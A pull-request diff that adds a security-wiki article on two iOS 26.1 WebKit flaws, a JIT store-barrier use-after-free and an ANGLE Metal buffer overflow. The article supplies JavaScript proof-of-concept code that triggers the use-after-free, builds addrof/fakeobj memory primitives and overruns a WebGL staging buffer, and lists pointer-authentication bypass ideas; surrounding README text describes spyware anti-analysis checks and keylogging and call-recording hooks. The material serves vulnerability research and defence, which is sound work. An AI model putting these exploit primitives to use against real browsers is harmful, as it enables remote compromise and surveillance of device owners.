Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions src/SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -898,6 +898,7 @@
- [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md)
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
- [Webkit Dfg Store Barrier Uaf Angle Oob](binary-exploitation/ios-exploiting/webkit-dfg-store-barrier-uaf-angle-oob.md)

# πŸ€– AI
- [AI Security](AI/README.md)
Expand Down
6 changes: 6 additions & 0 deletions src/binary-exploitation/ios-exploiting/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -1211,6 +1211,12 @@ WebKit renderer RCE -> kernel IPC UAF -> kernel arbitrary R/W -> code-sign bypas
- **Watcher anti-analysis**: A dedicated watcher binary continuously profiles the device and aborts the kill-chain when a research environment is detected. It inspects `security.mac.amfi.developer_mode_status`, the presence of a `diagnosticd` console, locales `US` or `IL`, jailbreak traces such as **Cydia**, processes like `bash`, `tcpdump`, `frida`, `sshd`, or `checkrain`, mobile AV apps (McAfee, AvastMobileSecurity, NortonMobileSecurity), custom HTTP proxy settings, and custom root CAs. Failing any check blocks further payload delivery.
- **Helper surveillance hooks**: The helper component speaks to other stages through `/tmp/helper.sock`, then loads hook sets named **DMHooker** and **UMHooker**. These hooks tap VOIP audio paths (recordings land under `/private/var/tmp/l/voip_%lu_%u_PART.m4a`), implement a system-wide keylogger, capture photos with no UI, and hook SpringBoard to suppress notifications that those actions would normally raise. The helper therefore acts as a stealthy validation + light-surveillance layer before heavier implants such as Predator are dropped.

### WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)

{{#ref}}
webkit-dfg-store-barrier-uaf-angle-oob.md
{{#endref}}

### iMessage/Media Parser Zero-Click Chains

{{#ref}}
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
# WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)

{{#include ../../banners/hacktricks-training.md}}

## Summary
- **DFG Store Barrier bug (CVE-2025-43529)**: In `DFGStoreBarrierInsertionPhase.cpp`, a **Phi node marked escaped while its Upsilon inputs are not** causes the phase to **skip inserting a write barrier** on subsequent object stores. Under GC pressure this lets JSC free still-reachable objects β†’ **use-after-free**.
- **Exploit target**: Force a **Date** object to materialize a butterfly (e.g., `a[0] = 1.1`) so the butterfly is freed, then **reclaimed** as array element storage to build boxed/unboxed confusion β†’ `addrof`/`fakeobj` primitives.
- **ANGLE Metal PBO bug (CVE-2025-14174)**: The Metal backend allocates the PBO staging buffer using `UNPACK_IMAGE_HEIGHT` instead of the real texture height. Supplying a tiny unpack height then issuing a large `texImage2D` causes a **staging-buffer OOB write** (~240KB in the PoC below).
- **PAC blockers on arm64e (iOS 26.1)**: TypedArray `m_vector` and JSArray `butterfly` are PAC-signed; forging fake objects with attacker-chosen pointers crashes with `EXC_BAD_ACCESS`/`EXC_ARM_PAC`. Only reusing **already-signed** butterflies (boxed/unboxed reinterpretation) works.

## Triggering the DFG missing barrier β†’ UAF
```js
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly

// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));

const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up

for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier β†’ frees `a`/butterfly
}
```
Key points:
- Place **A** in old space to exercise generational barriers.
- Create an indexed **Date** so the **butterfly** is the freed target.
- Spray `ArrayBuffer(0x800000)` to force GC and widen the race.
- The Phi/Upsilon escape mismatch stops barrier insertion; `b.p1 = a` runs **without a write barrier**, so GC reclaims `a`/butterfly.

## Butterfly reclaim β†’ boxed/unboxed confusion
After GC frees the Date butterfly, spray arrays so the freed slab is reused as elements for two arrays with different element kinds:
```js
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 β†’ addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object β†’ fakeobj
```
Status on **iOS 26.1 (arm64e)**:
- **Working:** `addrof`, `fakeobj`, 20+ address leaks per run, inline-slot read/write (on known inline fields).
- **Not stable yet:** generalized `read64`/`write64` via inline-slot backings.

## PAC constraints on arm64e (why fake objects crash)
- **TypedArray `m_vector`** and **JSArray `butterfly`** are PAC-signed; forging pointers yields `EXC_BAD_ACCESS` / likely `EXC_ARM_PAC`.
- The confusion primitive works because it **reuses legitimate signed butterflies**; introducing unsigned attacker pointers fails authentication.
- Potential bypass ideas noted: JIT paths that skip auth, gadgets that sign attacker pointers, or pivoting through the ANGLE OOB.

## ANGLE Metal PBO under-allocation β†’ OOB write
Use a tiny unpack height to shrink the staging buffer, then upload a large texture so the copy overruns:
```js
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB β†’ ~240KB OOB

gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
```
Notes:
- Bug in `TextureMtl.cpp`: staging buffer uses `UNPACK_IMAGE_HEIGHT` instead of real texture height on the PBO path.
- In the referenced probe the WebGL2 PBO trigger is plumbed but not yet reliably observed on iOS 26.1.

## References
- [WebKit-UAF-ANGLE-OOB-Analysis](https://github.com/zeroxjf/WebKit-UAF-ANGLE-OOB-Analysis)
- [jir4vv1t/CVE-2025-43529](https://github.com/jir4vv1t/CVE-2025-43529)

{{#include ../../banners/hacktricks-training.md}}